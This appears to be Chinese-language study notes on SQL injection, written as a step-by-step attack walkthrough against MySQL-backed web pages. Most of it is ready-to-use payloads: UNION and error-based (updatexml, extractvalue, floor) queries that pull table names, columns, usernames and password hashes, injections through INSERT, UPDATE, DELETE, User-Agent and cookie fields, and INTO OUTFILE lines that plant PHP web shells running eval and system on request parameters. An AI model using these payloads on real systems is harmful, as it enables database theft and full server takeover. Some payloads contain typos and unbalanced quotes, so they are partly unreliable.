SQL注入(EasyModel)
SQL Injection概述
user_id=____-------->Web-server------->Database-server
正常输入:1
//接入源码产生的效果:select email from users where id=1;
非法输入:1 or 1=1
//接入源码产生的效果:select email from users where id=1 or 1=1;
SQL Inject漏洞攻击流程
文字简述:
第一步:注入点探测
第二步:信息获取
第三步:提权
来点实际的吧~~
一、当猜测输入将以数字形式保存时,闭合情况就不用考虑了,直接上一顿操作,与后者类似,现主要讨论后者。
二、当猜测输入将以字符串形式保存时
1.尝试 ’ 或 ” 直接闭合查看报错,若显示结果与MySQL有关,证明参与执行,存在注入漏洞。
2.随便输入一些东西,用可以闭合前端的方式闭合
注:前面有时可能时 ‘ 或 “ ,也有可能为(‘ 和 ‘%…
3.用 and or 等语句尝试,查看回响(当然sleep()的查看时间的方式也可以)
注:使用注释符号注释后端,有++,#,/**/等
4.order by 查询字段个数,以便使用union select 1,2,…,n 的基本格式进行改动后输入。
5.插入函数
查询基本信息
database();//数据库名
version(); //php 版本
user(); // 用户(可反应权限root,manager,guest...)
基于information_schema的信息查询payload(未考虑前端闭合)如下(默认字段数为2的情况):
#获取表名:
union select table_name,table_column from information_schema.tables where table_schema='xx(database();获得的名称)'#
#获取字段名:
union select table_name,column_name from information_schema.columns where table_name='xxx(table_name获得的名称)'#
#获取内容:
如果上个方法获得的名称中有类似于username和passwd等信息,可用下列语句获得。
union select username,passwd from 'xxx(table_name获得的名称)'#
注:passwd通常可能会以加密形式存在,md5等解密便可
基于报错的信息获取:
技巧思路:
在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
select/insert/updata/delete都可以使用报错来获取信息。
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端。
三个常用的用来报错的函数:
1.updatexml(xml_document,XPathstring,new_value):
函数时MySQL对XML文档数据进行查询和修改的XPATH函数。
//XPathstring:(XPath格式的字符串)
XPath定位必须有效,否则会发生错误
updatexml(1,version(),0)#
// payload:
aa' and updatexml(1,concat(0x7e,version()),0)# //concat(0x7e,)内容时连接字符串是为了让信息输出完整,0x7e为‘~’
aa' and updatexml(1,concat(0x7e,database()),0)#
#报错只能一次显示一行
aa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="数据库名"),0)#
#可以使用limit一次一次进行获取表名:
aa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="数据库名" limit 0,1),0)#
随后更改 limit 1,2/*第二个表名*/)limit 2,3/*第三个表名*/)limit 3,4/*第四个表名*/)...
//写个脚本实现吧——一次性打全~~
#获取到表名后,在获取列名,思路是一样的:
aa' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="表名"limit 0,1),0)#
#获取到列名后,再来获取数据:
aa' and updatexml(1,concat(0x7e,(select 列名(如username) from 表名(users) limit 0,1)),0)#
aa' and updatexml(1,concat(0x7e,(select 列名(如passwd) from 表名(users) where username="xxx" limit 0,1)),0)#
#基于insert/update下报的错:
insert一般用在注册用户时,如存在注入点,可以书写payload:
xiaoming' or updatexml(1,concat(0x7e,database()),0) or '
//后端格式:
insert into member(username,passwd,...) values('aaa','123456',...)
#注入后
insert into member(username,passwd,...) values('xiaoming' or updatexml(1,concat(0x7e,database()),0) or '','123456',...)
#对应报错:
XPATH syntax error:'~xxxx'
update一般出现在给用户更改信息时的注入漏洞中,以下是数字型输入框中的,可以书写:(与insert一样)
xiaoming' or updatexml(1,concat(0x7e,database()),0) or '
#基于delete下的报错:
delete报错出现在留言板的信息删除
1 or updatexml(1,concat(0x7e,database()),0)
后端格式,url编码格式输入:
用BurpSuite抓包然后更改GET请求头:
GET ../sqli.php?id=1+or+updatexml(1,concat(0x7e,database()),0)
sent 后 下拉到最下端查报错
2.extract(xml_document,XPathstring):
函数也是MySQL对XML文档数据进行查询的XPATH函数。
与updatexml函数书写payload类似,只是少了一个new_value变量。
aa' and extractvalue(1,concat(0x7e,version()))#
3.基于floor():
aa' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
aa' and (select 2 from (select count(*),concat((select 列名(如passwd) from 表名(users) where username="xxx" limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
返回为:Duplicate entry'xxx' for key ”
// 后端效果
select floor(1111.1111)
返回1111
Http Header注入
如果服务器尝试获取Http头部信息,如IP、UA
那么就可以尝试更改,以UA为例,payload如下:
firefox' or updatexml(1,concat(0x7e,database()),0) or '
更改Cookie:
ant[uname]=admin' and updatexml(1,concat(0x7e,database()),0)#
写入恶意代码:可能会与文件包含,XSS相像
select 1,2 into outfile “/var/www/html/1.txt”
前提条件:
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了secure_file_priv
可和菜刀一起使用~
#获取操作系统权限
aaa’ union select ''<?php @eval($_GET['test']?>",2 into outfile "/var/www/html/1.php"#
aaa’ union select ''<?php system($_GET['cmd']?>",2 into outfile "/var/www/html/2.php"#
前端看不到反馈,需要从服务端查看
#暴力破解数据库名
使用Burp/Intruder/Sniper
aa' and exists(select * from aa)#
aa' and exists(select id from users)#